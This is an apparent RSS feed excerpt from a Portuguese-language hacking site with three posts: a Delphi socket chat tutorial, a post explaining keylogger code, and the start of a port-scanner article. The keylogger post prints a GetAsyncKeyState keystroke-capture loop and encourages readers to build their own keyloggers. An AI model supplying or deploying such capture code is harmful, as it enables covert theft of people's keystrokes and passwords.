TEdit =&gt; Coloque dentro do TGroupBox (C_Comandos) com o nome de C_Texto<br />
TEdit =&gt; Com nome de Host.<br />
TEdit =&gt; Com nome de Apelido.<br />
TButton =&gt; Com nome de Conectar.</p>
<p>TButton =&gt; Com nome de Servir.<br />
2 Tlabel =&gt; Com caption  <a href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=140&amp;t=8554487#">Servidor</a> e Apelido.</p>
<p><img class="alignnone" src="http://reiserfs.killermonkeys.net/Thiago/Delphi/xhat/objetos.jpg" alt="" width="474" height="75" /></p>
<p>Agora adicione os seguintes componentes.<br />
TclientSocket =&gt; Com nome de S_Cliente.<br />
TserverSocket =&gt; Com nome de S_Server.</p>
<p>(VEJA FIGURA AO LADO)</p>
<p>Agora renomeie o Form1 para ChatFal. (Clique no Form depois vá em name e mude).</p>
<p>Vamos tentar deixar o Object Treeview mais ou menos assim:</p>
<p><img class="alignnone" src="http://reiserfs.killermonkeys.net/Thiago/Delphi/xhat/objtree.jpg" alt="" width="187" height="323" /></p>
<p>Pronto agora tente organizar desta forma:</p>
<p><img class="alignnone" src="http://reiserfs.killermonkeys.net/Thiago/Delphi/xhat/tela_xhat.jpg" alt="" width="480" height="290" /></p>
<p><strong><span style="color: #99ccff;">2ª Etapa</span></strong><br />
Bom nesta etapa vamos começar a programar o chat.</p>
<p>a) O primeiro evento que o programa irá executar será o TchatFal.FormCreate, clique 2x no formulário, e deixe este procedimento assim:</p>
<p><code>procedure TChatFal.FormCreate(Sender: TObject); {Limpa o quadro}<br />
begin<br />
Quadro.Text := '';<br />
end;</code></p>
<p><strong><span style="color: #99ccff;">Explicação:</span></strong><br />
Com isto, assim que o formulário inicie, o conteúdo do componente QUADRO será apagado.</p>
<p>b) O segundo evento a ser programado será do componente C_Texto. Aqui vamos criar uma <span style="font-style: italic;">procedure</span> para o evento OnKeyDown (Este evento ocorre quando um texto for digitado na Tedit).</p>
<p>Primeiro se declara a procedure.</p>
<dl>
<dd><code>procedure C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);</code></dd>
</dl>
<p>Depois vamos programar a procedure.</p>
<p><code>procedure TChatFal.C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);<br />
begin</code></p>
<p>if Key = VK_Return then<br />
begin<br />
S_Cliente.Socket.SendText(C_Texto.Text + &#8216;::::&#8217; + Apelido.Text);<br />
C_Texto.Text := &#8221;;<br />
end;<br />
end;</p>
<p><strong><span style="color: #99ccff;">Explicação:</span></strong><br />
Nós criamos uma procedure que utiliza uma variável “Key” do tipo Word, e declaramos também o uso do Shift (Se não declarar o uso do shift não funciona).</p>
<dl>
<dd><code>if Key = VK_Return then =&gt; Se a tecla digitada for igual ao [ENTER] então execute.</code></dd>
</dl>
<p><code>S_Cliente.Socket.SendText(C_Texto.Text + '::::' + Apelido.Text); =&gt; Envia o texto para o servidor no formato (Mensagem::::Apelido) este formato será explicado mais na frente.</code></p>
<p><code>C_Texto.Text := ''; =&gt; Limpa o conteúdo da TEdit C_Texto.</code></p>
<p>c) Vamos programar a procedure do terceiro evento. Este será para o botão “Conectar” onde ao clicar o programa irá pegar o conteúdo da Tedit “Host” e tentar conectar-se.</p>
<p>Clique 2x em cima do botão Conecta, e deixe da seguinte forma:</p>
<p><code>procedure TChatFal.ConectarClick(Sender: TObject);<br />
begin<br />
if S_Cliente.Active then<br />
begin<br />
S_Cliente.Active := False;</code></p>
<p>Conectar.Caption := &#8216;Conectar&#8217;;<br />
end<br />
else begin<br />
S_Cliente.Host := Host.Text;<br />
S_Cliente.Active := True;<br />
end;</p>
<p>end;</p>
<p><strong><span style="color: #99ccff;">Explicação:</span></strong><br />
if S_Cliente.Active then =&gt; Primeiro verificamos se o TclientSocket esta ativo (isto é se a conexão já esta ativa).</p>
<p>S_Cliente.Active := False; =&gt; Se tiver ativo ele desativa (Desconecta).</p>
<p>Conectar.Caption := &#8216;Conectar&#8217;; =&gt; Altera o caption do TButton (Conectar) para &#8216;Conectar&#8217;.</p>
<p>else begin =&gt; Caso a conexão já esteja desativada, isto é S_Cliente.Active = False então ele vai se conectar.</p>
<p>S_Cliente.Host := Host.Text; =&gt; Pega o conteudo de Host isto é o endereço IP do servidor, e coloca na propriedade Host do componete S_Cliente.</p>
<p>S_Cliente.Active := True; =&gt; Ativa a conexão.</p>
<p><strong><span style="color: #99ccff;">3ª Etapa</span></strong><br />
Agora vamos programar os eventos do conexão do Lado Cliente.</p>
<p>Primeiro declare os procedimentos abaixo:</p>
<p><code>procedure S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);</code></p>
<p>procedure S_ClienteDisconnect(Sender: TObject; Socket: TCustomWinSocket);<br />
procedure S_ClienteError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);<br />
procedure S_ClienteRead(Sender: TObject; Socket: TcustomWinSocket);</p>
<p>Estes são os eventos do componente TclientSocket que colocamos no programas e renomamos para S_Cliente.</p>
<p>Agora vamos programá-los um por um.</p>
<p>Primeiro OnConnect.</p>
<p><code>procedure TChatFal.S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);<br />
begin<br />
Status.Lines.Add('Cliente ::&gt; Conectado a: ' + S_Cliente.Host);<br />
Conectar.Caption := 'Desconectar';</code></p>
<p>Apelido.Enabled := False;<br />
S_Cliente.Socket.SendText(&#8216;NICK::::&#8217; + Apelido.Text);<br />
end;</p>
<p><strong><span style="color: #99ccff;">Explicação:</span></strong><br />
Este evento somente ocorre quando há  <a href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=140&amp;t=8554487#">sucesso</a> de conexão, isto é logo após estabelecer conexão com o servidor sem erros.</p>
<p>Status.Lines.Add(&#8216;Cliente ::&gt; Conectado a: &#8216; + S_Cliente.Host); =&gt; Aqui escrevemos no status Status.Lines.Add uma mensagem informando o cliente que ele teve sucesso na conexão.</p>
<p>Conectar.Caption := &#8216;Desconectar&#8217;; =&gt; Muda-se o caption do TButton (Conectar) de &#8216;conecta&#8217;r para &#8216;desconectar&#8217;, pois agora sua função será encerrar a conexão.</p>
<p>Apelido.Enabled := False; =&gt; Depois desabilitamos o Tedit do Apelido (Apenas para o cliente não mudar de apelido durante a conexão o que não afeta nada caso mude).</p>
<p>S_Cliente.Socket.SendText(&#8216;NICK::::&#8217; + Apelido.Text); =&gt; Enviamos para o servidor um Texto seguindo o mesmo formato que a procedure de escrever S_Cliente.Socket.SendText. Repare que desta vez o formato muda um pouco, antes era (Mensagem::::Apelido) agora é (NICK::::Apelido). Isto serve para diferenciar o tipo de mensagem, a primeira é uma mensagem normal, a segunda informa que você entrou no servidor.</p>
<p>O Tratamento desses formatos fica no lado do servidor que veremos em breve.</p>
<p>Segundo evento é o OnDisconnect.</p>
<dl>
<dd><code>procedure TChatFal.S_ClienteDisconnect(Sender: TObject; Socket: TCustomWinSocket);<br />
begin<br />
Status.Lines.Add('Cliente ::&gt; Desconectado ');</code></p>
<p>Conectar.Caption := &#8216;Conectar&#8217;;<br />
Apelido.Enabled := True;<br />
end;</p>
</dd>
</dl>
<p><strong><span style="color: #99ccff;">Explicação</span></strong><br />
Este evento é o oposto do evento anterior, ele somente é executado quando a conexão é desfeita.</p>
<p>Status.Lines.Add(&#8216;Cliente ::&gt; Desconectado &#8216;); =&gt; Informamos ao cliente com uma mensagem no status Status.Lines.Add.</p>
<p>Conectar.Caption := &#8216;Conectar&#8217;; =&gt; Mudamos o caption do TButton (Conectar) para &#8220;conectar&#8221;.</p>
<p>Apelido.Enabled := True; =&gt; Habilitamos a TEdit (Apelido).</p>
<p>Terceiro evento é o OnError.</p>
<p><code>procedure TChatFal.S_ClienteError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);<br />
begin<br />
Status.Lines.Add('Cliente ::&gt; ERRO ao tentar conectar a: ' + S_Cliente.Host);</code></p>
<p>end;</p>
<p><strong><span style="color: #99ccff;">Explicação:</span></strong></p>
<p>Bastante simples, em caso de erro de conexão informa no status a mensagem ERRO ao tentar conectar a: &#8216; + S_Cliente.Host.</p>
<p>Quarto e ultimo evento da TclientSocket, OnRead.<br />
procedure TChatFal.S_ClienteRead(Sender: TObject; Socket: TCustomWinSocket);<br />
begin<br />
Quadro.Lines.Add(Socket.ReceiveText);<br />
end;</p>
<p>Explicação:<br />
Este evento ocorre quando o TClientSocket recebe dados através da conexão ativa. Como a mensagem já vem formatada pelo servidor basta apenas adicionar no quadro Quadro.Lines.Add(Socket.ReceiveText); .</p>
<p>Pronto aqui finalizamos a programação do lado Client do nosso chat.</p>
<p>EDITANDO AS PROPRIEDADES DO COMPONETE TClientSocket (S_Cliente).<br />
Agora vamos parar um pouco a programação, e vamos alterar as propriedades do nosso componente TclientSocket. Onde aqui vamos configurar a porta de comunicação e também vamos colocar os eventos que programamos nos seus devidos lugares.</p>
<p>Primeiro selecione o ícone do componente TclientSocket (S_Cliente) no formulário, depois vá na janela do “Object Inspector” e em propriedades coloque Active em FALSE (Para iniciar desconectado) e em Port abaixo de Name coloque a seguinte porta (666) ou outra que você quiser e que não esteja sendo usada pelo sistema.</p>
<p>Agora vá na aba Eventos e configure os eventos como esta abaixo na IMG.</p>
<p><img class="alignnone" src="http://reiserfs.killermonkeys.net/Thiago/Delphi/xhat/client_event.jpg" alt="" width="379" height="379" /></p>
<p>Pronto o lado cliente já esta pronto agora vamos programar o lado servidor do nosso chat.</p>
<p><strong><span style="color: #99ccff;">4ª Etapa</span></strong><br />
Nesta etapa vamos primeiro programar o evento do TButton &#8220;Servir&#8221; (Eu coloquei a caption deste botão como (Iniciar Servidor).</p>
<p>Clique 2x no botão para programar o evento.</p>
<p><code>procedure TChatFal.ServirClick(Sender: TObject);<br />
begin<br />
if S_Server.Active = True then<br />
begin<br />
S_Server.Active := False;</code></p>
<p>Status.Lines.Add(&#8216;Servidor ::&gt; Servidor Desligado!&#8217;);<br />
Servir.Caption := &#8216;Iniciar Servidor&#8217;;<br />
S_Cliente.Active := False;<br />
Host.Enabled := True;<br />
Conectar.Enabled := True;</p>
<p>end<br />
else begin<br />
S_Server.Active := True;<br />
Servir.Caption := &#8216;Parar Servidor&#8217;;<br />
Host.Enabled := False;<br />
Conectar.Enabled := False;</p>
<p>S_Cliente.Host := &#8217;127.0.0.1&#8242;;<br />
S_Cliente.Active := True;<br />
end;<br />
end;</p>
<p><strong><span style="color: #99ccff;">Explicação:</span></strong><br />
Primeiro da mesma forma que o botão de conectar primeiro verificamos o estado do servidor. Se ele está servindo ou esta parado.</p>
<p>if S_Server.Active = True then =&gt; Caso esteja ativo, isto é caso ele esteja esperando conexões na porta configurada, então vamos desligar.</p>
<p>S_Server.Active := False; =&gt; Desliga o servidor.</p>
<p>Status.Lines.Add(&#8216;Servidor ::&gt; Servidor Desligado!&#8217;); =&gt; Informa no status que o servidor foi desligado.</p>
<p>Servir.Caption := &#8216;Iniciar Servidor&#8217;; =&gt; Muda o caption do TButton (Servir) para &#8216;iniciar servidor&#8217;.</p>
<p>S_Cliente.Active := False; =&gt; Desativa a conexão do cliente. (Ao iniciar o servidor automaticamente o programa se conecta ao servidor).</p>
<p>Host.Enabled := True; =&gt; Abilita o campo de escolha do IP.</p>
<p>Conectar.Enabled := True; =&gt; Abilita o botão de conectar.</p>
<p>else begin =&gt; Caso o servidor não esta ativo, então ative.</p>
<p>S_Server.Active := True; =&gt; Ativa o servidor, e neste momento o servidor fica esperando conexões na porta configurada.</p>
<p>Servir.Caption := &#8216;Parar Servidor&#8217;; =&gt; Muda o caption do TButton (Servir) para &#8216;parar servidor&#8217; pois sua função agora é parar.</p>
<p>Host.Enabled := False; =&gt; Desativa o campo de escolha do IP (O cliente vai se conectar no localhost).</p>
<p>Conectar.Enabled := False; =&gt; Desativa o botão de conectar, pare evitar desconexão do cliente com o servidor local.</p>
<p>S_Cliente.Host := &#8217;127.0.0.1&#8242;; =&gt; Força o host do S_Cliente para localhost (127.0.0.1).</p>
<p>S_Cliente.Active := True; =&gt; Conecta no servidor como cliente.</p>
<p>O IP &#8217;127.0.0.1&#8242; Corresponde a própria maquina, neste caso ao ligar o servidor ele também se conecta como cliente e desabilita as opções de conexão, caso desligue o servidor ele também se desconecta.</p>
<p>Agora o passo seguinte e declarar os procedimentos dos eventos do S_Server.</p>
<p><code>procedure S_ServerListen(Sender: TObject; Socket: TCustomWinSocket);<br />
procedure S_ServerClientConnect(Sender: TObject; Socket: TCustomWinSocket);</code></p>
<p>procedure S_ServerClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);<br />
procedure S_ServerClientRead(Sender: TObject; Socket: TcustomWinSocket);</p>
<p>Os eventos são parecidos com os eventos do S_Cliente com diferença que não usa o evento OnError e agora existe o evento OnListen.</p>
<p>Vamos aos eventos.</p>
<p>Primeiro o evento OnListen.</p>
<p><code>procedure TChatFal.S_ServerListen(Sender: TObject;<br />
Socket: TCustomWinSocket);<br />
begin<br />
Status.Lines.Add('Servidor ::&gt; Servidor Ligado!');<br />
end;</code></p>
<p><strong><span style="color: #99ccff;">Explicação:</span></strong><br />
Este evento ocorre quando o servidor é ligado, isto é quando ele começar a escutar na porta determinada. Quando isto ocorre ele simplesmente escreve no status a mensagem de que o servidor está ligado. Status.Lines.Add(&#8216;Servidor ::&gt; Servidor Ligado!&#8217;);</p>
<p>Segundo evento será o OnClientConnect.</p>
<p><code>procedure TChatFal.S_ServerClientConnect(Sender: TObject;<br />
Socket: TCustomWinSocket);<br />
begin<br />
Status.Lines.Add('Servidor ::&gt; Usuário Conectado =&gt; '+ Socket.RemoteAddress);</code></p>
<p>end;</p>
<p><strong><span style="color: #99ccff;">Explicação:</span></strong><br />
Este evento ocorre quando o servidor recebe uma conexão de algum cliente. Quando isto ocorrer vamos escrever no status do servidor uma mensagem informando que um novo usuário se conectou e qual seu IP (Socket.RemoteAddress).</p>
<p>Status.Lines.Add(&#8216;Servidor ::&gt; Usuário Conectado =&gt; &#8216;+ Socket.RemoteAddress</p>
<p>Terceiro evento será o OnClientDisconnect.</p>
<p><code>procedure TChatFal.S_ServerClientDisconnect(Sender: TObject;<br />
Socket: TCustomWinSocket);</code></p>
<p>begin<br />
Status.Lines.Add(&#8216;Servidor ::&gt; Usuário Desconectado =&gt; &#8216;+ Socket.RemoteAddress);<br />
end;</p>
<p><strong><span style="color: #99ccff;">Explicação:</span></strong><br />
Este evento ocorre quando o servidor termina uma conexão de algum cliente. Quando isto ocorrer vamos escrever no status do servidor uma mensagem informando que o usuário se desconectou e qual seu IP (Socket.RemoteAddress).<br />
Status.Lines.Add(&#8216;Servidor ::&gt; Usuário Desconectado =&gt; &#8216;+ Socket.RemoteAddress);</p>
<p>Quarto e mais importante evento OnClientRead.</p>
<p><code>procedure TChatFal.S_ServerClientRead(Sender: TObject;<br />
Socket: TCustomWinSocket);<br />
var texto: array[0..1] of string;<br />
temptexto: string;<br />
Index: integer;<br />
begin</code></p>
<p>temptexto := Socket.ReceiveText;<br />
texto[0] := Copy(temptexto, 1,Pos(&#8216;::::&#8217;, temptexto) -1);<br />
texto[1] := Copy(temptexto, Pos(&#8216;::::&#8217;, temptexto) + Length(&#8216;::::&#8217;),Length(temptexto));<br />
if texto[0] = &#8216;NICK&#8217; then {Verifica se a mensagem eh de entrada}<br />
begin</p>
<p>WITH S_Server.Socket DO BEGIN {Se a msg for de entrada avisa a todos os clientes quem entrou }<br />
FOR Index := 0 TO ActiveConnections-1 DO BEGIN<br />
Connections[Index].SendText(texto[1] + &#8216; entrou na sala: &#8216;);<br />
END;<br />
END;<br />
end</p>
<p>else</p>
<p>begin<br />
WITH S_Server.Socket DO BEGIN {Se nao for de entrada, então eh msg normal, no caso passa para todos a msg}<br />
FOR Index := 0 TO ActiveConnections-1 DO BEGIN<br />
Connections[Index].SendText(&#8216;(&#8216; + texto[1] + &#8216;) escreveu: &#8216; + texto[0]);<br />
END;<br />
END;</p>
<p>Status.Lines.Add(&#8216;Servidor ::&gt; &#8216; + texto[1] + &#8216; (&#8216; + Socket.RemoteAddress + &#8216;) escreveu: &#8216;+ texto[0]);<br />
end;</p>
<p>end;</p>
<p><strong><span style="color: #99ccff;">Explicação</span></strong><br />
Este evento é o mais importante do chat, pois é nele que realmente o chat irá funcionar. O evento ocorre quando o servidor recebe dados do cliente, neste caso ele terá que receber a mensagem e repassar para todos os clientes conectados (Broadcasting).</p>
<p>Esta parte foi difícil desenvolver, pois no exemplo que vem no Delphi (WinSocket) ele não envia para todos os usuários a mensagem, ele<br />
apenas adiciona na Memo a informação recebida.</p>
<p><strong><span style="color: #99ccff;">Bom vamos passo a passo do código.</span></strong><br />
var texto: array[0..1] of string; =&gt; Este array será necessária para formatação dos dados.</p>
<p>temptexto: string; =&gt; Está variável será necessária para formatação dos dados.</p>
<p>Index: integer; =&gt; Variável de controle para o loop de broadcast.</p>
<p>temptexto := Socket.ReceiveText; =&gt; Variável temptexto recebe os dados enviados pelo cliente Socket.ReceiveText.</p>
<p>texto[0] := Copy(temptexto, 1,Pos(&#8216;::::&#8217;, temptexto) -1); =&gt; Separa a informação em duas partes, texto[0] pega tudo que estiver antes do separador &#8216;::::&#8217; (Lembre-se do formato de envio). OBS: Procure no HELP do Delphi explicações sobre as funções Pos, Length e Copy. Pois são muito uteis.</p>
<p>texto[1] := Copy(temptexto, Pos(&#8216;::::&#8217;, temptexto) + Length(&#8216;::::&#8217;),Length(temptexto)); =&gt; Aqui texto[1] pega tudo que estiver depois do separador &#8216;::::&#8217;.</p>
<p>if texto[0] = &#8216;NICK&#8217; then =&gt; Se o que estiver antes de &#8216;::::&#8217; for NICK então foi mensagem de entrada.</p>
<p>WITH S_Server.Socket DO BEGIN =&gt; Bom aqui eu estou dizendo que com o Objeto S_Server.Socket Faça. No help do Delphi tem uma explicação sobre &#8216;WITH&#8217;.</p>
<p>FOR Index := 0 TO ActiveConnections-1 DO BEGIN=&gt; Um laço usando FOR, até o final das conexões. (ActiveConnections vem do objeto S_Server através do WITH).</p>
<p>Connections[Index].SendText(texto[1] + &#8216; entrou na sala: &#8216;); =&gt; Vai enviando mensagens para todas as conexões da primeira até a ultima, informando quem entrou no servidor.</p>
<p>Else =&gt; Se não for &#8216;NICK&#8217; o que vem antes do separador &#8216;::::&#8217;, então deve ser mensagem.</p>
<p>WITH S_Server.Socket DO BEGIN =&gt; Denovo WITH.</p>
<p>FOR Index := 0 TO ActiveConnections-1 DO BEGIN =&gt; Laço de 0 até o final das conexões.</p>
<p>Connections[Index].SendText(&#8216;(&#8216; + texto[1] + &#8216;) escreveu: &#8216; + texto[0]); =&gt; Envia para todas as conexões a mensagem enviada.</p>
<p>Status.Lines.Add(&#8216;Servidor ::&gt; &#8216; + texto[1] + &#8216; (&#8216; + Socket.RemoteAddress + &#8216;) escreveu: &#8216;+ texto[0]); =&gt; Adiciona no status do servidor uma cópia da mensagem.</p>
<p>Pronto agora terminamos de programar os eventos do componente S_Server. Agora vamos editar suas propriedades no Object Inspector da mesma forma que configuramos o S_Client.</p>
<p>Deixamos Active = False<br />
e Port = 666 (Ou a porta que você usou no S_Client).</p>
<p>e os eventos (Events)</p>
<p>OnClientConnect = S_ServerClientConnect<br />
OnClientDisconnect = S_ServerClientDisconnect<br />
OnClientRead = S_ServerClientRead<br />
OnListen = S_ServerListen</p>
<p>O resto dos eventos ficam em branco como na imagem abaixo:</p>
<p><img class="alignnone" src="http://reiserfs.killermonkeys.net/Thiago/Delphi/xhat/objserver.jpg" alt="" width="190" height="381" /></p>
<p><strong><span style="color: #99ccff;">TESTANDO O CHAT</span></strong><br />
Pronto salve tudo e compile, agora vá na pasta em que o programa foi compilado e abra 3 janelas do programa.</p>
<p>No primeiro coloque o apelido como Administrador e clique em iniciar o Servidor.<br />
No segundo coloque como usuario1 digite o endereço local (127.0.0.1) e clique em conectar.<br />
No Terceiro coloque como usuario2 digite o endereço local (127.0.0.1) e clique em conectar.</p>
<p>Pronto agora teste a comunicação entre os 3.</p>
<p><img class="alignnone" src="http://reiserfs.killermonkeys.net/Thiago/Delphi/xhat/xhat_usando.jpg" alt="" width="480" height="290" /></p>
<p>Bom espero que tenha funcionado seu CHAT, você pode baixar o código fonte completo do chat e a versão binária do mesmo neste link abaixo</p>
<p><a href="http://reiserfs.killermonkeys.net/Thiago/Delphi/xhat/c_h_a_t_f_a_l.zip" target="_self">Source !</a></p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2009/01/29/tutorial-criando-chat-no-delphi-7/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2009/01/29/tutorial-criando-chat-no-delphi-7/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Entendendo o funcionamento de um Keylogger</title>
		<link>http://www.invasao.com.br/2008/12/15/entendendo-o-funcionamento-de-um-keylogger/</link>
		<comments>http://www.invasao.com.br/2008/12/15/entendendo-o-funcionamento-de-um-keylogger/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 03:47:08 +0000</pubDate>
		<dc:creator>Fuctura Tecnologia</dc:creator>
				<category><![CDATA[Programação]]></category>
		<category><![CDATA[Virús, Trojans e Keyloggers]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/blog/?p=915</guid>
		<description><![CDATA[Ola, Fiz esse tutorial para que todos entendam o código do keylogger e como ele funciona. Vamos lá vou usar de exemplo o código mais conhecido que usa a função coloca. Analisando a função do código: function Coloca(txt: String): String; begin Form1.Memo1.Text := Form1.Memo1.Text + txt; end; Bem o que ela realmente faz é adicionar uma string txt no memo1. Como usar Adicione um memo e um timer e coloque a função em baixo de implementation. No timer coloque: (&#8216;Esse [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2008/12/15/entendendo-o-funcionamento-de-um-keylogger/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><p>Ola,</p>
<p>Fiz esse tutorial para que todos entendam o código do keylogger e como ele funciona.<br />
Vamos lá vou usar de exemplo o código mais conhecido que usa a função coloca.</p>
<p>Analisando a função do código:</p>
<blockquote><p><code>function Coloca(txt: String): String;<br />
begin<br />
Form1.Memo1.Text := Form1.Memo1.Text + txt;<br />
end;</code></p></blockquote>
<p>Bem o que ela realmente faz é adicionar uma string txt no memo1.</p>
<h3>Como usar</h3>
<p>Adicione um <em>memo</em> e um <em>timer</em> e coloque a função em baixo de <em>implementation</em>.</p>
<p>No <em>timer</em> coloque:<br />
(&#8216;Esse teste é da função&#8217;);</p>
<p>O que ele vai fazer é chamar a função e ela vai adicionar o que está entre os &#8216; &#8216; no <em>memo</em>.</p>
<p>Entendendo o código de captura:<br />
<code><br />
</code></p>
<blockquote><p>var<br />
keyloop, KeyResult : Integer;<br />
begin<br />
keyloop := 0;<br />
repeat<br />
KeyResult := GetAsyncKeyState(keyloop);<br />
if KeyResult = -32767 then<br />
begin<br />
case keyloop of<br />
8: Coloca(&#8216; [BACKSPACE] &#8216;);<br />
9: Coloca(&#8216; [TAB] &#8216;);<br />
12: Coloca(&#8216; [ALT] &#8216;);<br />
13: Coloca(&#8216; [ENTER] &#8216;);<br />
16: Coloca(&#8216; [SHIFT] &#8216;);<br />
17: Coloca(&#8216; [CONTROL] &#8216;);<br />
18: Coloca(&#8216; [ALT] &#8216;);<br />
20: Coloca(&#8216; [CAPS LOCK] &#8216;);<br />
&#8230;</p></blockquote>
<p>O que o código vai fazer é o <em>keyloop</em> vai pegar a variável e atribuir um valor a ela.<br />
Cada tecla tem o seu valor Decimal ex: Valor Decimal da Tecla Tab é 9 , ele vai converter o valor decimal e vai atribuir o nome que foi colocado entre os &#8216; &#8216; .</p>
<p>Obs: Não esqueçam de colocar o <em>timer</em> com intervalo 1.</p>
<p>No fim do Tutorial fiz um txt onde contem vários valores decimais de teclas para que vocês podem estar ai criando os seus keyloggers e o código completo de captura.</p>
<p>É isso pessoal espero que tenham gostado e entendido como funciona o keylogger.</p>
<p>By: <strong>B4silisco</strong>.</p>
<p>http://www.b4silisco.xpg.com.br/Decimais.txt</p>
<p>http://www.b4silisco.xpg.com.br/codigo-captura.txt</p>
<p><a href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=140&amp;t=8554250">Clique aqui para ler mais e comentar essa Matéria!</a></p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2008/12/15/entendendo-o-funcionamento-de-um-keylogger/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2008/12/15/entendendo-o-funcionamento-de-um-keylogger/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Delphi &#124; Port Scaner Super Simples</title>
		<link>http://www.invasao.com.br/2008/12/12/delphi-port-scaner-super-simples/</link>
		<comments>http://www.invasao.com.br/2008/12/12/delphi-port-scaner-super-simples/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 14:27:12 +0000</pubDate>
		<dc:creator>Fuctura Tecnologia</dc:creator>
				<category><![CDATA[Programação]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/blog/?p=847</guid>
		<description><![CDATA[Port Scanner Port Scanner é um programa capaz de varrer um sistema, remoto ou local, a procura de portas abertas. Estas portas por sua vez, quando abertas, podem estar disponibilizando alguns serviços para utilização remota e é fundamental para qualquer administrador de rede (segurança) ou &#8220;usuário malicioso&#8221; (cracker) saber quais portas estão sendo utilizadas pelo sistema, tanto para a proteção, pelo lado do administrador, quanto pela invasão, pelo lado do cracker. Saber quais portas estão abertas no sistema e quais [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2008/12/12/delphi-port-scaner-super-simples/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><h2>Port Scanner</h2>
<p>Port Scanner é um programa capaz de varrer um sistema, remoto ou local, a procura de portas abertas. Estas portas por sua vez, quando abertas, podem estar disponibilizando alguns serviços para utilização remota e é fundamental para qualquer administrador de rede (segurança) ou &#8220;usuário malicioso&#8221; (cracker) saber quais portas estão sendo utilizadas pelo sistema, tanto para a proteção, pelo lado do administrador, quanto pela invasão, pelo lado do cracker.</p>
<p>Saber quais portas estão abertas no sistema e quais serviços estão ativos nestas portas é muito importante, pois é o passo principal para qualquer invasão de sistema. É sabendo qual serviço está ativo em uma porta que se pode começar a verificar se este serviço em questão é vulnerável a alguma técnica de exploração conhecida, como explorá-la, como ganhar acesso ao sistema, etc.</p>
<h2>Como funciona?</h2>
<p>Teoricamente o funcionamento de um Port Scanner é bem simples. Basicamente ele tenta se conectar com o servidor desejado em uma porta desejada. Se a conexão for estabelecida, o programa imprime uma mensagem para o usuário confirmando o estado da porta testada como &#8220;Aberta&#8221;. Caso a conexão não se estabeleça, a mensagem de &#8220;Porta Fechada&#8221; é enviada. Bem simples não? Pois é, porém, com a incrível capacidade intelectual dos Hackers, algumas outras formas de Port Scanner foram desenvolvidas a partir da dificuldade de detecção do scanner pelo lado dos Administradores de Redes. O método que desenvolveremos no nosso programa é o TCP Full Connect, ou seja, uma conexão TCP completa com o servidor em questão. Este método é o mais primitivo e também o mais fácil de ser detectado pelo administrador, porém como o nosso artigo não tem o intuito de formar Cracker de sistemas, este método é mais que o necessário para você se inteirar sobre como construir um Port Scanner no Delphi. Outras formas de Port Scanner são:</p>
<p><strong>TCP SYN (Half Open)</strong>: Este já é um método mais complexo de Port Scanner, pois não abre uma conexão TCP completa com a máquina alvo e se torna assim mais difícil de se identificar um scanning deste tipo. O que programas deste tipo fazem é enviar uma pacote SYN para a máquina alvo. Caso seja recebido um pacote SYN-ACK, significa que a porta está aberta. Porém, caso seja recebido um pacote RST, indica que a porta está fechada. Após este processo, o programa exibe para o usuário o estado da porta e prossegue em sua verificação.<br />
<strong>TCP FIN</strong>: Este é o método mais apreciado pelos atacantes, pois é chamado de modo STEALTH, ou invisível, não sendo detectado pelos sistemas de defesa. Consiste em enviar um pacote FIN para a porta alvo. Caso o pacote recebido seja um RST, indica que a porta está fechada, mas caso o pacote FIN seja ignorado, significa que a porta está aberta.<br />
<strong>UDP SCAN</strong>: Neste método são enviados pacotes UDP de 0 bytes para cada porta alvo. Caso seja recebida a mensagem &#8220;ICMP port unreachable&#8221;, indica que a porta está fechada. Caso contrário, o programa imprime a mensagem alegando a porta como em estado de aberta.</p>
<h2>TCP Full Connect no Delphi</h2>
<p>Criar um Port Scanner TCP Full Connect do Delphi é relativamente simples. O Delphi já vem com alguns componentes para a criação e utilização de sockets. Ele provê uma enorme gama de componentes para criação de Clientes FTP, Telnet, Finger, Web, POP, SMTP, servidores HTTP, etc.</p>
